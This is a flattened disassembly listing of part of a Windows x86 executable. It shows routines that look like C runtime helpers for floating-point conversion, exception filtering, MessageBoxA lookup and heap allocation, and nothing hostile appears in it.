nop call near ptr 26F0000h test eax, eax jnz loc_42470A jmp short loc_42475D sub_4246CB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p ; sub_420DB0+7E7p cmp cl, 40h jnb short loc_4247BA cmp cl, 20h jnb short loc_4247B0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4247B0: ; CODE XREF: sub_4247A0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4247BA: ; CODE XREF: sub_4247A0+3j xor eax, eax xor edx, edx retn sub_4247A0 endp ; =============== S U B R O U T I N E ======================================= sub_4247BF proc near ; CODE XREF: sub_421826+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42480B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_4247DD test al, 80h jz short loc_42480B test al, 2 jnz short loc_42480B loc_4247DD: ; CODE XREF: sub_4247BF+14j cmp dword ptr [esi+8], 0 jnz short loc_4247EA push esi call sub_4241F7 pop ecx loc_4247EA: ; CODE XREF: sub_4247BF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_4247FA cmp dword ptr [esi+4], 0 jnz short loc_42480B inc eax mov [esi], eax loc_4247FA: ; CODE XREF: sub_4247BF+30j test byte ptr [esi+0Ch], 40h jz short loc_424811 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424817 inc eax mov [esi], eax loc_42480B: ; CODE XREF: sub_4247BF+9j ; sub_4247BF+18j ... or eax, 0FFFFFFFFh loc_42480E: ; CODE XREF: sub_4247BF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424811: ; CODE XREF: sub_4247BF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424817: ; CODE XREF: sub_4247BF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42480E sub_4247BF endp ; =============== S U B R O U T I N E ======================================= sub_42482D proc near ; CODE XREF: sub_421E16+52p xor eax, eax retn sub_42482D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424830 proc near ; CODE XREF: sub_424865+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42487B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42490D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424830 endp ; =============== S U B R O U T I N E ======================================= sub_424865 proc near ; CODE XREF: sub_422102+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424830 pop ecx pop ecx retn sub_424865 endp ; =============== S U B R O U T I N E ======================================= sub_42487B proc near ; CODE XREF: sub_424830+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42488C push 10h pop eax loc_42488C: ; CODE XREF: sub_42487B+Cj test bl, 4 jz short loc_424893 or al, 8 loc_424893: ; CODE XREF: sub_42487B+14j test bl, 8 jz short loc_42489A or al, 4 loc_42489A: ; CODE XREF: sub_42487B+1Bj test bl, 10h jz short loc_4248A1 or al, 2 loc_4248A1: ; CODE XREF: sub_42487B+22j test bl, 20h jz short loc_4248A8 or al, 1 loc_4248A8: ; CODE XREF: sub_42487B+29j test bl, 2 jz short loc_4248B2 or eax, 80000h loc_4248B2: ; CODE XREF: sub_42487B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4248EA cmp edx, 400h jz short loc_4248E7 cmp edx, 800h jz short loc_4248E3 cmp edx, esi jnz short loc_4248EA or eax, edi jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E3: ; CODE XREF: sub_42487B+5Ej or eax, ebp jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E7: ; CODE XREF: sub_42487B+56j or ah, 1 loc_4248EA: ; CODE XREF: sub_42487B+4Ej ; sub_42487B+62j ... and ecx, edi pop esi jz short loc_4248FA cmp ecx, ebp jnz short loc_4248FF or eax, 10000h jmp short loc_4248FF ; --------------------------------------------------------------------------- loc_4248FA: ; CODE XREF: sub_42487B+72j or eax, 20000h loc_4248FF: ; CODE XREF: sub_42487B+76j ; sub_42487B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42490C or eax, 40000h locret_42490C: ; CODE XREF: sub_42487B+8Aj retn sub_42487B endp ; =============== S U B R O U T I N E ======================================= sub_42490D proc near ; CODE XREF: sub_424830+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42491D push 1 pop eax loc_42491D: ; CODE XREF: sub_42490D+Bj test bl, 8 jz short loc_424924 or al, 4 loc_424924: ; CODE XREF: sub_42490D+13j test bl, 4 jz short loc_42492B or al, 8 loc_42492B: ; CODE XREF: sub_42490D+1Aj test bl, 2 jz short loc_424932 or al, 10h loc_424932: ; CODE XREF: sub_42490D+21j test bl, 1 jz short loc_424939 or al, 20h loc_424939: ; CODE XREF: sub_42490D+28j test ebx, 80000h jz short loc_424943 or al, 2 loc_424943: ; CODE XREF: sub_42490D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424970 cmp ecx, 100h jz short loc_42496D cmp ecx, esi jz short loc_424968 cmp ecx, edx jnz short loc_424970 or ah, 0Ch jmp short loc_424970 ; --------------------------------------------------------------------------- loc_424968: ; CODE XREF: sub_42490D+50j or ah, 8 jmp short loc_424970 ; --------------------------------------------------------------------------- loc_42496D: ; CODE XREF: sub_42490D+4Cj or ah, 4 loc_424970: ; CODE XREF: sub_42490D+44j ; sub_42490D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424986 cmp ecx, 10000h jnz short loc_424988 or eax, esi jmp short loc_424988 ; --------------------------------------------------------------------------- loc_424986: ; CODE XREF: sub_42490D+6Bj or eax, edx loc_424988: ; CODE XREF: sub_42490D+73j ; sub_42490D+77j pop esi test ebx, 40000h pop ebx jz short locret_424995 or ah, 10h locret_424995: ; CODE XREF: sub_42490D+83j retn sub_42490D endp ; =============== S U B R O U T I N E ======================================= sub_424996 proc near ; CODE XREF: sub_424A35+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4249DB inc esi cmp esi, 3 jge short loc_4249D6 lea eax, [eax+esi*4] loc_4249C8: ; CODE XREF: sub_424996+3Ej cmp dword ptr [eax], 0 jnz short loc_4249DB inc esi add eax, 4 cmp esi, 3 jl short loc_4249C8 loc_4249D6: ; CODE XREF: sub_424996+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4249DB: ; CODE XREF: sub_424996+27j ; sub_424996+35j xor eax, eax pop esi retn sub_424996 endp ; =============== S U B R O U T I N E ======================================= sub_4249DF proc near ; CODE XREF: sub_424A35+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi js short loc_424A31 lea edi, [ebx+esi*4] loc_424A18: ; CODE XREF: sub_4249DF+50j test eax, eax jz short loc_424A31 push edi push 1 push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424A18 loc_424A31: ; CODE XREF: sub_4249DF+34j ; sub_4249DF+3Bj pop edi pop esi pop ebx retn sub_4249DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A35 proc near ; CODE XREF: sub_424B90+81p ; sub_424B90+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424A99 inc ebx push ebx push [ebp+arg_0] call sub_424996 pop ecx test eax, eax pop ecx jnz short loc_424A96 push edi push [ebp+arg_0] call sub_4249DF pop ecx mov [ebp+var_4], eax pop ecx loc_424A96: ; CODE XREF: sub_424A35+51j mov eax, [ebp+arg_4] loc_424A99: ; CODE XREF: sub_424A35+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424AB9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424AB9: ; CODE XREF: sub_424A35+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424A35 endp ; =============== S U B R O U T I N E ======================================= sub_424AC1 proc near ; CODE XREF: sub_424B90+75p ; sub_424B90+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_424ACF: ; CODE XREF: sub_424AC1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_424ACF pop esi retn sub_424AC1 endp ; =============== S U B R O U T I N E ======================================= sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp ; sub_424B90+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_424ADC endp ; =============== S U B R O U T I N E ======================================= sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_424AEE: ; CODE XREF: sub_424AE8+12j cmp dword ptr [eax], 0 jnz short loc_424B00 inc ecx add eax, 4 cmp ecx, 3 jl short loc_424AEE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424B00: ; CODE XREF: sub_424AE8+9j xor eax, eax retn sub_424AE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B03 proc near ; CODE XREF: sub_424B90+C0p ; sub_424B90+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424B39: ; CODE XREF: sub_424B03+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424B39 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_424B6B: ; CODE XREF: sub_424B03+86j cmp ebx, edi jl short loc_424B7E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424B85 ; --------------------------------------------------------------------------- loc_424B7E: ; CODE XREF: sub_424B03+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424B85: ; CODE XREF: sub_424B03+79j dec ebx sub ecx, 4 jns short loc_424B6B pop edi pop esi pop ebx leave retn sub_424B03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp ; sub_424D12+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_424BFD lea eax, [ebp+var_C] xor esi, esi push eax call sub_424AE8 test eax, eax pop ecx jnz loc_424CBC lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx loc_424BF5: ; CODE XREF: sub_424B90+E4j push 2 loc_424BF7: ; CODE XREF: sub_424B90+110j pop eax jmp loc_424CBE ; --------------------------------------------------------------------------- loc_424BFD: ; CODE XREF: sub_424B90+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424AC1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 add esp, 10h test eax, eax jz short loc_424C1E inc ebx loc_424C1E: ; CODE XREF: sub_424B90+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424C36 lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx jmp short loc_424C72 ; --------------------------------------------------------------------------- loc_424C36: ; CODE XREF: sub_424B90+98j cmp ebx, eax jg short loc_424C79 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424AC1 lea eax, [ebp+var_C] push esi push eax call sub_424B03 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424B03 add esp, 20h loc_424C72: ; CODE XREF: sub_424B90+A4j xor esi, esi jmp loc_424BF5 ; --------------------------------------------------------------------------- loc_424C79: ; CODE XREF: sub_424B90+A8j cmp ebx, [edi] jl short loc_424CA5 lea eax, [ebp+var_C] push eax call sub_424ADC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424B03 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424BF7 ; --------------------------------------------------------------------------- loc_424CA5: ; CODE XREF: sub_424B90+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424B03 pop ecx pop ecx loc_424CBC: ; CODE XREF: sub_424B90+55j xor eax, eax loc_424CBE: ; CODE XREF: sub_424B90+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_424CED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424CF7 ; --------------------------------------------------------------------------- loc_424CED: ; CODE XREF: sub_424B90+14Ej cmp edi, 20h jnz short loc_424CF7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424CF7: ; CODE XREF: sub_424B90+15Bj ; sub_424B90+160j pop edi pop esi pop ebx leave retn sub_424B90 endp ; =============== S U B R O U T I N E ======================================= sub_424CFC proc near ; CODE XREF: sub_424D28+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D7F8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424CFC endp ; =============== S U B R O U T I N E ======================================= sub_424D12 proc near ; CODE XREF: sub_424D55+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D810 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424D12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D28 proc near ; CODE XREF: sub_42223B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424CFC add esp, 24h leave retn sub_424D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D12 add esp, 24h leave retn sub_424D55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D82 proc near ; CODE XREF: sub_422279+65p ; sub_42237D+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_424DBF mov [ebp+arg_0], ebx xor ebx, ebx loc_424DA5: ; CODE XREF: sub_424D82+38j mov dl, [ecx] test dl, dl jz short loc_424DB1 movsx edx, dl inc ecx jmp short loc_424DB4 ; --------------------------------------------------------------------------- loc_424DB1: ; CODE XREF: sub_424D82+27j push 30h pop edx loc_424DB4: ; CODE XREF: sub_424D82+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424DA5 mov edx, [ebp+arg_8] loc_424DBF: ; CODE XREF: sub_424D82+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424DD8 cmp byte ptr [ecx], 35h jl short loc_424DD8 loc_424DCB: ; CODE XREF: sub_424D82+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424DD6 mov byte ptr [eax], 30h jmp short loc_424DCB ; --------------------------------------------------------------------------- loc_424DD6: ; CODE XREF: sub_424D82+4Dj inc byte ptr [eax] loc_424DD8: ; CODE XREF: sub_424D82+42j ; sub_424D82+47j cmp byte ptr [esi], 31h jnz short loc_424DE2 inc dword ptr [edx+4] jmp short loc_424DF4 ; --------------------------------------------------------------------------- loc_424DE2: ; CODE XREF: sub_424D82+59j push edi call sub_41B9C0 inc eax push eax push edi push esi call sub_41D670 add esp, 10h loc_424DF4: ; CODE XREF: sub_424D82+5Ej pop edi pop esi pop ebx pop ebp retn sub_424D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp ; sub_42237D+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_424E5D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBFB8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425973 mov dword_4DBFE0, eax add esp, 18h movsx eax, byte_4DBFBA mov dword_4DBFD8, eax pop edi movsx eax, word_4DBFB8 mov dword_4DBFDC, eax mov dword_4DBFE4, offset dword_4DBFBC mov eax, offset dword_4DBFD8 pop esi leave retn sub_424DF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E5D proc near ; CODE XREF: sub_424DF9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_424EAB cmp ebx, edi jz short loc_424EA4 lea edi, [ecx+3C00h] jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EA4: ; CODE XREF: sub_424E5D+3Dj mov edi, 7FFFh jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E5D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424EC3 cmp edx, ebx jnz short loc_424EC3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_424F0E ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E5D+52j ; sub_424E5D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_424ECC: ; CODE XREF: sub_424E5D+45j ; sub_424E5D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424EE4: ; CODE XREF: sub_424E5D+A6j test ecx, esi jnz short loc_424F05 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424EE4 ; --------------------------------------------------------------------------- loc_424F05: ; CODE XREF: sub_424E5D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_424F0E: ; CODE XREF: sub_424E5D+64j pop edi pop esi pop ebx leave retn sub_424E5D endp ; --------------------------------------------------------------------------- push 2 call sub_41E2C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_424F1C proc near ; DATA XREF: ___:0043D438o ; ___:0043DB78o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_424F3F cmp dword ptr [eax+10h], 3 jnz short loc_424F3F cmp dword ptr [eax+14h], 19930520h jnz short loc_424F3F jmp sub_422DFC ; --------------------------------------------------------------------------- loc_424F3F: ; CODE XREF: sub_424F1C+Dj ; sub_424F1C+13j ... mov eax, dword_4DBFE8 test eax, eax jz short loc_424F5C push eax call sub_424FB8 test eax, eax pop ecx jz short loc_424F5C push esi call dword_4DBFE8 jmp short loc_424F5E ; --------------------------------------------------------------------------- loc_424F5C: ; CODE XREF: sub_424F1C+2Aj ; sub_424F1C+35j xor eax, eax loc_424F5E: ; CODE XREF: sub_424F1C+3Ej pop esi retn 4 sub_424F1C endp ; --------------------------------------------------------------------------- word_424F62 dw 1C68h ; DATA XREF: ___:00429024o ; --------------------------------------------------------------------------- dec edi inc edx add [eax+1CBF7FE8h], dl add ah, byte ptr dword_4DBFE8[ebx] retn ; --------------------------------------------------------------------------- byte_424F73 db 0FFh ; DATA XREF: ___:0042903Co dd 4DBFE835h, 0BF6EE800h, 0C390021Ch ; =============== S U B R O U T I N E ======================================= sub_424F80 proc near ; CODE XREF: sub_422651+6Bp ; sub_422B62+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25F0ABDh test eax, eax jz short loc_424F98 xor esi, esi loc_424F98: ; CODE XREF: sub_424F80+14j mov eax, esi pop esi retn sub_424F80 endp ; =============== S U B R O U T I N E ======================================= sub_424F9C proc near ; CODE XREF: sub_422B62+73p ; sub_422B62+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2660000h test eax, eax jz short loc_424FB4 xor esi, esi loc_424FB4: ; CODE XREF: sub_424F9C+14j mov eax, esi pop esi retn sub_424F9C endp ; =============== S U B R O U T I N E ======================================= sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp ; sub_424F1C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25F0A3Eh test eax, eax jz short loc_424FCC xor esi, esi loc_424FCC: ; CODE XREF: sub_424FB8+10j mov eax, esi pop esi retn sub_424FB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422DFC loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj push 0Ah call sub_423DD1 push 16h call sub_425C06 pop ecx pop ecx push 3 call sub_41C1A2 ; END OF FUNCTION CHUNK FOR sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_424FE7 proc near ; CODE XREF: ___:004236A6p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424FF8 add esp, 0Ch retn sub_424FE7 endp ; =============== S U B R O U T I N E ======================================= sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DD261[eax], cl jnz short loc_425025 cmp [esp+arg_4], 0 jz short loc_42501E movzx eax, word_43CE82[eax*2] and eax, [esp+arg_4] jmp short loc_425020 ; --------------------------------------------------------------------------- loc_42501E: ; CODE XREF: sub_424FF8+16j xor eax, eax loc_425020: ; CODE XREF: sub_424FF8+24j test eax, eax jnz short loc_425025 retn ; --------------------------------------------------------------------------- loc_425025: ; CODE XREF: sub_424FF8+Fj ; sub_424FF8+2Aj push 1 pop eax retn sub_424FF8 endp ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBFEC, ebx push esi push edi jnz short loc_425078 push offset aUser32_dll ; "user32.dll" call near ptr 26A0CEEh nop mov edi, eax cmp edi, ebx jz short loc_4250AE mov esi, dword_4270C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DBFEC, eax jz short loc_4250AE push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBFF0, eax call esi mov dword_4DBFF4, eax loc_425078: ; CODE XREF: sub_425029+Bj mov eax, dword_4DBFF0 test eax, eax jz short loc_425097 call eax mov ebx, eax test ebx, ebx jz short loc_425097 mov eax, dword_4DBFF4 test eax, eax jz short loc_425097 push ebx call eax mov ebx, eax loc_425097: ; CODE XREF: sub_425029+56j ; sub_425029+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBFEC loc_4250AA: ; CODE XREF: sub_425029+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4250AE: ; CODE XREF: sub_425029+1Cj ; sub_425029+33j xor eax, eax jmp short loc_4250AA sub_425029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250B2 proc near ; CODE XREF: sub_42413E+22p ; sub_42413E+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_4250D3 test esi, esi jnz short loc_4250CD push 1 pop esi loc_4250CD: ; CODE XREF: sub_4250B2+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4250D3: ; CODE XREF: sub_4250B2+12j ; sub_4250B2+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425132 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_4250FE mov eax, [ebp+arg_0] cmp eax, dword_4DD380 ja short loc_42511D push eax call sub_41EA6B mov edi, eax pop ecx test edi, edi jnz short loc_425148 jmp short loc_42511D ; --------------------------------------------------------------------------- loc_4250FE: ; CODE XREF: sub_4250B2+30j cmp eax, 2 jnz short loc_42511D cmp esi, dword_43CE74 ja short loc_42511D mov eax, esi shr eax, 4 push eax call sub_41F50E mov edi, eax pop ecx test edi, edi jnz short loc_42515C loc_42511D: ; CODE XREF: sub_4250B2+3Bj ; sub_4250B2+4Aj ... push esi push 8 push dword_4DD384 nop call near ptr 27F0000h mov edi, eax test edi, edi jnz short loc_425156 loc_425132: ; CODE XREF: sub_4250B2+26j cmp dword_4DBE48, 0 jz short loc_425156 push esi call sub_41FBB2 test eax, eax pop ecx jz short loc_42515F jmp short loc_4250D3 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250B2+48j push [ebp+arg_0] loc_42514B: ; CODE XREF: sub_4250B2+ABj push 0 push edi call sub_41BF70 add esp, 0Ch 